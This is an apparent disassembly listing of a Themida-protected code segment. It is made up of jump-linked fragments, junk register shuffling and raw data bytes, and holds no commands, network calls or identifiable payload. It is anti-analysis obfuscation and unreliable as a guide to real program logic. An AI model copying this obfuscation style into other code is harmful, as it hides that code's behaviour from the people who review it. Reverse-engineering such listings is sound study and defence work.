		jmp	loc_5748AA
; ---------------------------------------------------------------------------
		db 0B8h
		dd 14975295h, 0E906E8C1h, 0E46h
; ---------------------------------------------------------------------------


loc_56AE88:				; CODE XREF: Themida_:00567CAFj
		push	eax
		push	esi
		mov	esi, 74393420h
		mov	eax, 0F8A50FA4h
		jmp	loc_576992
; ---------------------------------------------------------------------------


loc_56AE99:				; CODE XREF: Themida_:0056AE5Dj
		push	eax
		pop	edx
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, edx
		jmp	loc_563AA2
; ---------------------------------------------------------------------------
		dd 8001C680h, 0C380A7F6h, 92C38040h, 0FF7133E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AEBD:				; CODE XREF: Themida_:0056FA4Cj
		and	eax, ebx
		mov	ebx, [esp]
		push	ebp
		push	esp
		jmp	loc_574597
; ---------------------------------------------------------------------------
		db 0BFh, 1Dh, 5Ah
		dd 50E97E9Ah
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56AED3:				; CODE XREF: Themida_:005620F3j
		push	0
		jmp	loc_575A27
; ---------------------------------------------------------------------------


loc_56AEDD:				; CODE XREF: Themida_:00574262j
		push	0
		sub	dword ptr [esp], 0DD76901h
		sub	dword ptr [esp], 6BEA75D1h
		jmp	loc_568D61
; ---------------------------------------------------------------------------


loc_56AEF5:				; CODE XREF: Themida_:005617F7j
		pop	cx
		jmp	loc_571FFF
; ---------------------------------------------------------------------------
		dd 23F6ED81h, 0C5012031h, 23F6C581h, 81582031h,	2C5h, 74FF5500h
		dd 8F5D0424h, 0F6E92404h, 89000067h, 4BE2434h, 81000000h
		dd 96DF3C1h, 0AF3BE96Ah, 0EE010000h, 0E9242C8Bh, 6B92h
		dd 8105EDC1h, 420EF9EDh, 27F58120h, 1B216A8h, 875E5DEAh
		dd 13E92414h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AF57:				; CODE XREF: Themida_:0057176Bj
		mov	edx, esp
		jmp	loc_56CA13
; ---------------------------------------------------------------------------


loc_56AF5E:				; CODE XREF: Themida_:00566784j
		add	esp, 4
		and	ecx, 6598698Ch
		not	ecx
		not	ecx
		push	ebp
		jmp	loc_5669A7
; ---------------------------------------------------------------------------
		dd 8244429h, 5624048Bh,	0C681E689h, 4, 0E904C683h, 1B5Ch
; ---------------------------------------------------------------------------


loc_56AF8C:				; CODE XREF: Themida_:005685BAj
		mov	ebp, [esp]
		jmp	loc_570604
; ---------------------------------------------------------------------------
		dd 4EC81h, 0B3E90000h, 0BBFFFF7Eh, 1, 0FF6137E9h, 4BBFFh
		dd 5C010000h, 6CE90424h, 310000B7h, 73E92404h, 1FFFFE5h
		dd 8104247Ch, 9042444h,	5F396728h, 5ABB535Fh, 0E975344Ah
		dd 0FFFF9586h
; ---------------------------------------------------------------------------


loc_56AFD8:				; CODE XREF: Themida_:005662C1j
		xchg	ecx, [esp]
		pop	eax
		jmp	loc_566797
; ---------------------------------------------------------------------------
		db 50h,	57h, 68h
		dd 57172C8Ah, 8CEF815Fh, 81165E60h, 65101EF7h, 19F78123h
		dd 0E901CBAAh, 0AA94h, 8881E95Eh, 0F531FFFFh, 5DEE015Eh
		dd 81243C8Bh, 4C4h, 24348700h, 2404315Ch, 6020E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B022:				; CODE XREF: Themida_:005678B0j
		pop	edi
		jmp	loc_571808
; ---------------------------------------------------------------------------
		dd 99AF781h, 0F78172ABh, 53C46ED5h, 56E9FE89h, 57000095h
		dd 0A6A3E9h, 0C3805C00h, 21B050C4h, 0D8F6C0FEh,	4F34C0FEh
		dd 34FFC300h, 0E1E95824h, 0BD000048h, 4345B81h,	0CBA48368h
		dd 0B03AE9FBh, 5058FFFFh, 8853D888h, 4501E9C7h,	0BA520000h
		dd 16FB0086h, 8245401h,	247C015Ah, 246C8104h, 0FB008604h
		dd 246C8116h, 0C868AD04h, 243C8B18h, 4C481h, 505B0000h
		dd 4B8h, 8FEB8100h, 1717369h, 8FC381C3h, 58717369h, 7EA3E951h
		dd 0C481FFFFh, 4, 34DEE9h, 0A5E95600h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56B0CB:				; CODE XREF: Themida_:005767D6j
		shl	cl, 8
		add	cl, 68h
		push	ecx
		mov	cl, 3Dh
		and	cl, 3Eh
		shl	cl, 7
		jmp	loc_56C2D3
; ---------------------------------------------------------------------------


loc_56B0DF:				; CODE XREF: Themida_:00563A9Dj
		add	esp, 4
		add	esp, 4
		jmp	loc_563E30
; ---------------------------------------------------------------------------
		dd 8904EC83h, 17E92434h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B0FB:				; CODE XREF: Themida_:0056587Dj
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_563994
; ---------------------------------------------------------------------------
		dd 4EC835Ch, 0B9240C89h, 420D5242h, 4355F181h, 60E9378Fh
		dd 810000ABh, 9E48AEE7h, 18BE5634h, 81271612h, 830C6CC6h
		dd 5EF721FBh, 46FEC781h, 0E7C15010h, 0EFE94705h, 0F7FFFF82h
		dd 0C68146D6h, 47139F19h, 505EF589h, 415E85B8h,	14F75048h
		dd 0EC835824h, 243C8904h, 4B4A62BFh, 5FF8313Ch,	8D70E991h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B172:				; CODE XREF: Themida_:00564120j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_569CD0
; ---------------------------------------------------------------------------
		dd 0FF5EBDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B185:				; CODE XREF: Themida_:0057189Cj
		pop	edx
		pop	dword ptr [esp]
		push	18E8h
		jmp	loc_562246
; ---------------------------------------------------------------------------
		db 5Bh
		dd 348BF301h, 4C48124h,	8B000000h, 84E92404h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B1A7:				; CODE XREF: Themida_:00565C45j
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_57215B
; ---------------------------------------------------------------------------
		dw 0E0D1h
		dd 0CC0DE42Dh, 0DA76E9B0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B1C2:				; CODE XREF: Themida_:00572D38j
		add	esp, 4
		push	eax
		push	39E96E3Fh
		pop	eax
		mov	dword ptr [edi+20h], 3E0540D7h
		push	ebx
		mov	ebx, 20h
		add	ebx, edi
		push	eax
		jmp	loc_567229
; ---------------------------------------------------------------------------


loc_56B1E4:				; CODE XREF: Themida_:0056117Bj
		add	ebp, edi
		pop	edi
		jmp	loc_573C9E
; ---------------------------------------------------------------------------
		dd 0BEB551ACh, 1741E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B1F6:				; CODE XREF: Themida_:00572C55j
		xchg	ebx, [esp]
		pop	esp
		push	5BC9h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_56636D
; ---------------------------------------------------------------------------
		dw 4040h
		dd 3506E8C1h, 33C0A994h, 0FF8ED3E9h, 685854FFh,	1952h
		dd 0BD242C89h, 4F420CF0h, 0CECED81h, 18E94F42h,	81000069h
		dd 69438BEBh, 529BE972h, 0C6810000h, 4,	4C681h,	34870000h
		dd 0FE295C24h, 5BBC681h, 34FF5F02h, 243C8B24h, 8304C483h
		dd 685504C4h, 3A471A62h, 0E92434FFh, 1C9Dh, 9B1B1DBEh
		dd 0E2EA8162h, 0E959925Ah, 0FFFFEFDFh, 4240483h, 0E189515Dh
		dd 4C181h, 0E9830000h, 74FF5104h, 8F590424h, 0C6E92404h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B29F:				; CODE XREF: Themida_:0056E8ABj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_564FDA
; ---------------------------------------------------------------------------


loc_56B2DA:				; CODE XREF: Themida_:005648DBj
		add	ebp, 55A60966h
		jmp	loc_565503
; ---------------------------------------------------------------------------


loc_56B2E5:				; CODE XREF: Themida_:00573CA7j
		add	ecx, 10386358h
		add	ecx, 4D143FE9h
		jmp	loc_56F3E8
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 51F068h, 24148900h, 0FFD498E9h, 0EC815BFFh, 4, 57243489h
		dd 0CA6D6168h, 243C8B34h, 0E904C483h, 0FFFFFD04h, 0E7E9505Bh
		dd 52FFFFECh, 8052B450h, 0DCF6DFE4h, 0E972F480h, 14D9h
		dd 2B8h, 0FFC10100h, 83582434h,	7CE904C4h, 83FFFF7Dh, 148704EAh
		dd 5CFBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B35A:				; CODE XREF: Themida_:0056EB35j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		xchg	eax, [esp]
		jmp	loc_56E745
; ---------------------------------------------------------------------------
		dd 0B1240C89h, 88B753C1h, 28EDC180h, 0C267E9F9h, 405FFFFh
		dd 5000000h, 4,	5C240487h, 3302C183h, 3E9240Ch
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B39B:				; CODE XREF: Themida_:0056115Bj
		xor	esi, 3B2E1BB7h
		not	esi
		xor	esi, 0EF9AD058h
		push	ebx
		push	esi
		pop	ebx
		mov	edx, ebx
		pop	ebx
		pop	esi
		push	esi
		jmp	loc_569876
; ---------------------------------------------------------------------------


loc_56B3B6:				; CODE XREF: Themida_:005637CBj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_574C97
; ---------------------------------------------------------------------------


loc_56B3C1:				; CODE XREF: Themida_:005753DFj
		add	esp, 4
		push	6E7Ah
		mov	[esp], esi
		mov	esi, 2
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5729B0
; ---------------------------------------------------------------------------


loc_56B3DE:				; CODE XREF: Themida_:00574B5Ej
		pop	ebp
		xor	ebp, 68451DDBh
		pop	esi
		shr	ebp, 3
		jmp	loc_5698B7
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0F2FB129Fh, 815EF589h, 0C6042444h, 8179494Fh, 0D9042444h
		dd 1170A77h, 8104246Ch,	0D904246Ch, 81170A77h, 0C604246Ch
		dd 8B79494Fh, 8950242Ch, 8E1AE9E0h, 815AFFFFh, 633A49EBh
		dd 2C815308h, 0FC4DCE24h, 0C7815F4Ch, 4CFC4DCEh, 8B2434FFh
		dd 0C483241Ch, 4C48304h, 0AB63E9h, 246C8100h, 0F30CF204h
		dd 24540118h, 24448104h, 0F30CF204h, 48F5A18h, 0B8CCE924h
		dd 0C483FFFFh, 4A14E904h, 0E9C10000h, 81D1F706h, 0C91C02C9h
		dd 0E9D9F76Ch, 0FFFFDF4Dh, 0F9EF8147h, 8980561Bh, 1DE95FFDh
		dd 8900006Dh, 19E9240Ch
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B49B:				; CODE XREF: Themida_:0056540Ej
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, 2
		jmp	loc_565AEE
; ---------------------------------------------------------------------------
		db 0ADh, 81h, 0ECh
		dd 4, 19F4E9h, 0EAE95600h, 0BD000077h, 7B174B4Eh, 1B77B951h
		dd 0E9537A49h, 3DBAh
; ---------------------------------------------------------------------------


loc_56B4D0:				; CODE XREF: Themida_:00575B30j
		push	esi
		mov	esi, 6B4E3483h
		and	esi, 2D116C1Ch
		jmp	loc_56FC1C
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 33000000h, 3C31243Ch, 243C3324h, 0FF24248Bh,	34FF2434h
		dd 24148B24h, 0E9E38953h, 46B7h, 835DEB01h, 0FF5304EBh
		dd 0FF042474h, 815B2434h, 4C4h,	24048F00h, 8924248Bh, 0E9542434h
		dd 0FFFFE44Ah, 23F18141h, 89D4672Ch, 240C8BCEh,	104C483h
		dd 24348BF7h, 81E78957h, 4C7h, 4C78100h, 87000000h, 685C243Ch
		dd 184Bh, 0E9243C89h, 0FFFFF26Eh
; ---------------------------------------------------------------------------


loc_56B55C:				; CODE XREF: Themida_:0056DBFFj
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		jmp	loc_572E82
; ---------------------------------------------------------------------------
		dd 83DEF75Eh, 0EC81FFEEh, 4, 0B8240489h, 3CFC1150h, 72D97A05h
		dd 0F6B951DDh, 293F6407h, 8010E9CEh, 81530000h,	4ECh, 24148900h
		dd 0FFAD7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B59D:				; CODE XREF: Themida_:00575A63j
		push	193Ah
		jmp	loc_571097
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 1C8B5100h, 4C48324h, 138CE9h, 0F6814E00h, 0D5C625D1h
		dd 565EF301h, 4318E9h, 0E9C32900h, 5969h, 2BC0685Ah, 0D1E90000h
		dd 57FFFF62h, 4BFh, 3CC28100h, 2920222Ah, 3CEA81FAh, 5F20222Ah
		dd 0FFAD46E9h, 6E9C0FFh, 66D9C180h, 2414F651h, 0C1FE5966h
		dd 66EDB050h, 79B75352h, 0FE0037B6h, 83241C8Bh,	76E904C4h
		dd 5B000028h, 0FF946DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B621:				; CODE XREF: Themida_:0056EBC6j
		push	689813AEh
		jmp	loc_563013
; ---------------------------------------------------------------------------


loc_56B62B:				; CODE XREF: Themida_:005737AAj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	dword ptr [edi+24h]


loc_56B636:				; CODE XREF: Themida_:0056A6E9j
		push	edi
		mov	edi, ebx
		push	ebx
		mov	ebx, edi
		push	esi
		push	ebx
		jmp	loc_575144
; ---------------------------------------------------------------------------


loc_56B643:				; CODE XREF: Themida_:0056C104j
		push	4700h
		mov	[esp], ebx
		mov	ebx, 6A822782h
		jmp	loc_5769BD
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 53h
		dd 0FFC764E9h, 240C89FFh, 8904EC83h, 34FF2404h,	978FE924h
		dd 0C7290000h, 0FF988BE9h, 815D58FFh, 2C2h, 24143300h
		dd 33241431h, 3BE92414h, 52000062h, 8EE9E289h, 28FFFFF7h
		dd 240C8BE8h, 2C04C483h, 0E9E80095h, 0A3E0h
; ---------------------------------------------------------------------------


loc_56B6A4:				; CODE XREF: Themida_:005654D1j
		add	esi, 4
		push	edx
		jmp	loc_56E91B
; ---------------------------------------------------------------------------
		dd 0B202AD2Dh, 714EE979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B6BA:				; CODE XREF: Themida_:00570590j
		pop	esi
		jmp	loc_56C15A
; ---------------------------------------------------------------------------
		dd 13E5B951h, 0C8294B3Ah, 0E9240C8Bh, 0FFFF62F1h
; ---------------------------------------------------------------------------


loc_56B6D0:				; CODE XREF: Themida_:00563BFDj
		pop	esi
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		push	5F98h
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_567376
; ---------------------------------------------------------------------------
		dd 0E53B951h, 0E9816CDBh, 699470DAh, 43B6E981h,	0E9C150EAh
		dd 0BDC18102h, 90CB4EEh, 7009E9CFh, 0FA010000h,	27C2815Fh
		dd 816EDD26h, 3D521BC2h, 5900E919h, 1433FFFFh, 24248B24h
		dd 0FF77DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B74D:				; CODE XREF: Themida_:005754A6j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_571D2F
; ---------------------------------------------------------------------------


loc_56B758:				; CODE XREF: Themida_:0056C69Cj
		add	eax, edx
		pop	edx
		xor	ebx, eax
		push	0AC9h
		mov	[esp], eax
		jmp	loc_561042
; ---------------------------------------------------------------------------


loc_56B76A:				; CODE XREF: Themida_:00566AFDj
		pop	edi
		shr	edx, 1
		shl	edx, 4
		jmp	loc_56C08A
; ---------------------------------------------------------------------------
		db 68h,	18h, 0Ch
		dd 0C890000h, 3307B924h, 3FE94D15h, 80FFFFCDh, 0C38083EBh
		dd 4845E977h, 53AC0000h, 0C3815B54h, 4,	5304EB83h, 42474FFh
		dd 24048F5Bh, 8924248Bh, 0B0502414h, 302DB279h,	0F28058C2h
		dd 53E2D026h, 0C1E9FCB7h, 31FFFF9Bh, 1C33241Ch,	24248B24h
		dd 0E9C39D61h, 0FFFF586Eh, 3A7BC281h, 1C8B37E7h, 4C48324h
		dd 246C281h, 0C201777Fh, 246EA81h, 0D2E9777Fh
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B7F3:				; CODE XREF: Themida_:00570C55j
		sub	ebx, 4
		jmp	loc_568444
; ---------------------------------------------------------------------------
		dw 0F828h
		dd 1C8B5104h, 3EE95324h, 0F600004Bh, 80D986D3h,	0CB2807E9h
		dd 592434FFh, 4C481h, 0EB800000h, 0B45052F4h, 7E16E9EDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B82A:				; CODE XREF: Themida_:00564FABj
		mov	esi, 49A562C0h
		mov	ebx, esi
		pop	esi
		xor	ebx, 22C877BBh
		jmp	loc_56C66D
; ---------------------------------------------------------------------------
		db 0D1h, 0E3h, 81h
		dd 888EE6F3h, 689FE9A7h, 15A0000h, 20B850CBh, 257CD31Fh
		dd 8E44D65h, 31452548h,	43E930B0h, 2900008Eh, 0FFE0E9D3h
		dd 0E9F7FFFFh, 72A468h,	240C8900h, 8626E9h, 0CFE9AD00h
		dd 4D00002Ah, 4557E581h, 0C5817745h, 28B95C45h,	452BED81h
		dd 8155254Ah, 75DF2434h, 815A1990h, 9075DFF2h, 242C8B19h
		dd 4C481h, 0EA810000h, 0CF36AB8h, 0E907EAC1h, 84B1h, 0C681DEF7h
		dd 7CB97F7Dh, 0FFE309E9h, 241C87FFh, 0E9EB015Ch, 0FFFF654Fh
		dd 7CE9D689h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B8D7:				; CODE XREF: Themida_:005766CEj
		push	6297h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_56CE09
; ---------------------------------------------------------------------------


loc_56B8E6:				; CODE XREF: Themida_:00568411j
		pop	eax
		sub	eax, 57DF169Dh
		sub	eax, ebp
		jmp	loc_56AD0E
; ---------------------------------------------------------------------------
aAaYfs00FSif	db '¶ €ÆYfS³00Þf[鉔',0
		db 0
; ---------------------------------------------------------------------------


loc_56B905:				; CODE XREF: Themida_:0056FF8Fj
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	ebp, 9B42F173h
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_56BBD0
; ---------------------------------------------------------------------------
		dd 8904EC83h, 30B82404h, 0D0B5134h, 204B486Ch, 0FF86D6E9h
		dd 5BDD00FFh, 673468h, 24148900h, 687FB050h, 5AD4h, 88240C89h
		dd 0CF8853C1h, 0FFC036E9h, 0DC4935FFh, 0C101F463h, 8324048Bh
		dd 0BB5304C4h, 494957B5h, 0C381D3F7h, 494957BAh, 1C8BD901h
		dd 4C48324h, 0E9240C87h, 50C6h,	0E0C1405Bh, 0DD8F703h
		dd 463173A1h, 0D4EA525h, 0DC890575h, 0C501DE2Eh, 8BE98958h
		dd 0C481242Ch, 4, 2493BB53h, 0D9095CEBh, 1DB8E95Bh, 0B4BA0000h
		dd 4A41C616h, 8A40E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B9D6:				; CODE XREF: Themida_:00574839j
		pop	ecx
		push	5239h
		mov	[esp], ebx
		push	2
		pop	ebx
		add	esi, 1A971D9Ch
		add	esi, ebx
		sub	esi, 1A971D9Ch
		pop	ebx
		jmp	loc_5620DE
; ---------------------------------------------------------------------------
		db 45h,	87h, 0DDh
		dd 24348753h, 3487D6F7h, 0DD875B24h, 5D80E945h,	50660000h
		dd 562CE99Ch, 0C181FFFFh, 4, 8704C183h,	875C240Ch, 61E9242Ch
		dd 80000001h, 89E993F3h, 53000065h, 11427168h, 120E907h
		dd 0F1290000h, 26FCE981h, 348B6132h, 4C48124h, 1000000h
		dd 11C181F9h, 5F72F00Dh, 2B850h, 0C1010000h, 7DA4E958h
		dd 0EC83FFFFh, 0B484E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BA6E:				; CODE XREF: Themida_:00568B60j
		pop	ebp
		push	ecx
		mov	ecx, 1D6A1FACh
		jmp	loc_56ED2A
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 28B9B080h, 2434FFC8h, 0E2895259h, 4C281h, 0C2810000h
		dd 4, 8B241487h, 61E92424h, 5DFFFFB7h, 34FFF801h, 0A860E924h
		dd 0D989FFFFh, 0FFAE47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BAB1:				; CODE XREF: Themida_:00571027j
		mov	edi, 5773009Ch
		xor	edi, 42825EE2h
		mov	edx, 47B653EFh
		not	edx
		shl	edx, 2
		push	edx
		not	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	5856h
		mov	[esp], esi
		jmp	loc_56A803
; ---------------------------------------------------------------------------
		dd 2A3C68h, 24348900h, 2E0608BEh, 0E9F02916h, 0FFFFE979h
; ---------------------------------------------------------------------------


loc_56BAF4:				; CODE XREF: Themida_:00571E62j
		push	dword ptr [esp]
		jmp	loc_56D12F
; ---------------------------------------------------------------------------


loc_56BAFC:				; CODE XREF: Themida_:0056D8BAj
		pop	edi
		jmp	loc_56C4B7
; ---------------------------------------------------------------------------


loc_56BB02:				; CODE XREF: Themida_:0056F84Aj
		push	dword ptr [esp]
		pop	esi
		push	607h
		mov	[esp], ebx
		push	esp
		jmp	loc_56C6AA
; ---------------------------------------------------------------------------
		dd 0FDAA042Dh, 0BF08E9A7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BB1E:				; CODE XREF: Themida_:0056CDFBj
		push	4
		pop	edx
		add	ecx, edx
		jmp	loc_561397
; ---------------------------------------------------------------------------


loc_56BB2B:				; CODE XREF: Themida_:00572CD4j
		mov	esp, [esp]
		jmp	loc_56FCEE
; ---------------------------------------------------------------------------
		db 5Eh
		dd 148BD029h, 4C48124h,	35000000h, 85F621E6h, 3158C689h
		dd 9798E9F2h, 1C890000h, 2474FF24h, 48F5B04h, 0AD4E924h
		dd 15B0000h, 5B04245Ch,	0E92434FFh, 0FFFFD2F7h,	83243C8Bh
		dd 0C8B04C4h, 0E2895224h, 4C281h, 0C2830000h, 24143304h
		dd 0E9241431h, 979Dh, 2124248Bh, 0E99C2404h, 48Eh, 34FFD001h
		dd 0C4835A24h, 64EBE904h, 148BFFFFh, 0E6895624h, 4C681h
		dd 0C6830000h, 24348704h, 0A678E95Ch, 0FF560000h, 5E042474h
		dd 5C24048Fh, 0E91C6F09h, 346Fh
; ---------------------------------------------------------------------------


loc_56BBD0:				; CODE XREF: Themida_:0056B933j
		xor	[esp], ebx
		jmp	loc_561A7E
; ---------------------------------------------------------------------------
		dd 8B66D800h, 4AE9241Ch, 0FFFFFF69h, 669D1C77h,	2414D359h
		dd 5450E99Ch, 1489FFFFh, 3C506824h, 8F540000h, 0FAE92404h
		dd 0B80000ABh, 4, 8358C701h, 0FF5704C7h, 0E9042474h, 8EA5h
; ---------------------------------------------------------------------------


loc_56BC18:				; CODE XREF: Themida_:0056123Aj
		pop	eax
		jmp	loc_57450B
; ---------------------------------------------------------------------------


loc_56BC1E:				; CODE XREF: Themida_:00568777j
		add	ecx, 4
		push	2412h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_562FA2
; ---------------------------------------------------------------------------
aIus@		db '‰ãéß@',0
		align 2
		dw 0C281h
		dd 3DDF71F0h, 95FEE95Fh, 0B7BB0000h, 501AED58h,	0BC6866B8h
		dd 58C3214Bh, 0C4AF381h, 61E97B32h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BC6F:				; CODE XREF: Themida_:00570967j
		pop	dword ptr [esp]
		jmp	loc_56D7C9
; ---------------------------------------------------------------------------
aISwu		db 'ˆÔéwž',0
		align 2
		dw 0AD68h
		dd 0FF258659h, 16E92434h, 0C1FFFF87h, 0E18104E9h, 182837AFh
		dd 0FF18149h, 133B35Eh,	0E82959C8h, 934E2C2Dh, 95E3E933h
		dd 0F180FFFFh, 0E9CC306Fh, 0FFFFBE26h, 5C240487h, 0B8E95056h
		dd 5300003Ch, 13ABE9h, 0F7895E00h, 7FF2E95Eh, 91350000h
		dd 893E921Dh, 24048BC7h, 0E9E18951h, 0FFFF7944h
; ---------------------------------------------------------------------------


loc_56BCE0:				; CODE XREF: Themida_:00575495j
		mov	ebp, esp
		jmp	loc_564EE0
; ---------------------------------------------------------------------------


loc_56BCE7:				; CODE XREF: Themida_:00574CACj
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_573F03
; ---------------------------------------------------------------------------


loc_56BCF8:				; CODE XREF: Themida_:0056F253j
		and	ebp, 3488447Ch
		sub	esp, 4
		jmp	loc_564538
; ---------------------------------------------------------------------------


loc_56BD09:				; CODE XREF: Themida_:005642A4j
		xchg	ebx, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		push	2194h
		jmp	loc_56F186
; ---------------------------------------------------------------------------
		dd 360055Fh, 0E801464Eh, 4E03602Dh, 0E9E95D46h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BD33:				; CODE XREF: Themida_:005632D3j
		push	ebp
		mov	ebp, 0DE9FDE78h
		jmp	loc_56159D
; ---------------------------------------------------------------------------
		dw 0AF0Fh
		dd 0E99C51C8h, 0FFFF52FAh, 33240C31h, 248B240Ch, 2595E924h
		dd 0C1880000h, 5859CF88h, 2853C780h, 241C8BFCh,	4C481h
		dd 0E3880000h, 2EEB8058h, 6BDEE9h, 1074B800h, 0A12D73FAh
		dd 212D5EA7h, 0C18158C1h, 73144197h, 0F759CF89h, 814F4FD7h
		dd 0FFFFFFC7h, 8336E9FFh, 0C90B0000h, 0EC16840Fh, 0EC83FFFFh
		dd 7ED76804h, 24890000h, 24048324h, 0E2C6E904h,	0E955FFFFh
		dd 0FFFFC2BCh
; ---------------------------------------------------------------------------


loc_56BDBC:				; CODE XREF: Themida_:0056695Fj
		or	ecx, 10326ECCh
		jmp	loc_5689A5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F4E9243Ch, 5C000088h, 0FF526DE9h, 74FF51FFh, 0E9590424h
		dd 0FFFF70B7h, 165368h,	241C8900h, 66685B54h, 0E9000010h
		dd 1707h, 0FEBB5356h, 8979466Bh, 0D6F75BDEh, 4F69EE81h
		dd 0F6E95763h, 8BFFFFD3h, 0C892424h, 4EC8124h, 89000000h
		dd 0BA522424h, 4, 4245401h, 0E92434FFh,	0FFFFD700h, 6240E959h
		dd 0E95CFFFFh, 0FFFFC491h, 9D617B05h, 14B7052Ah, 0D8013384h
		dd 8414B72Dh, 617B2D33h, 342D2A9Dh, 5575EC10h, 71066856h
		dd 0E95E7F58h, 0FFFF719Eh, 57D830ACh, 88E9E789h, 89FFFF9Dh
		dd 5A542414h, 931E953h,	48F0000h, 0FF8DE924h, 0C383FFFFh
		dd 74FF5304h, 8F5B0424h, 248B2404h, 4AE0424h, 2CD028DBh
		dd 0FFAE2CDBh, 815A2434h, 4C4h,	5F685100h, 89000072h, 10B22414h
		dd 0D530CDB5h, 8124148Bh, 4C4h,	2A34E900h, 0C1810000h
		dd 69081F42h, 240C875Dh, 0FF87F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BECD:				; CODE XREF: Themida_:0057059Aj
		add	edx, eax
		jmp	loc_57535A
; ---------------------------------------------------------------------------


loc_56BED4:				; CODE XREF: Themida_:00566D61j
		pop	esi
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_56FE36
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C4h, 4C38100h, 0E9000000h, 3A79h, 0D2B65266h, 5A66F400h
		dd 4EC81h, 2DE90000h, 31FFFF6Ch, 0EFC15EF7h, 0EF814703h
		dd 6325371Bh, 0FFFA1FE9h, 240C87FFh, 0BE56575Ch, 55082DD4h
		dd 7DDEBD55h, 0EE31414Ch, 2E6C15Dh, 0E9D6F74Eh,	9DB1h
; ---------------------------------------------------------------------------


loc_56BF38:				; CODE XREF: Themida_:0056715Fj
		xor	dl, bh
		pop	bx
		jmp	loc_566329
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 0F7h
		dd 0F1E781DFh, 4712F50Eh, 0F562C781h, 0FE89EFABh, 2474015Fh
		dd 0DB61E904h, 0E089FFFFh, 7125E9h, 2434FF00h, 5854505Ah
		dd 405h, 0EC815200h, 4,	83240C89h, 3C8904ECh, 1A05BF24h
		dd 8FE97A64h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


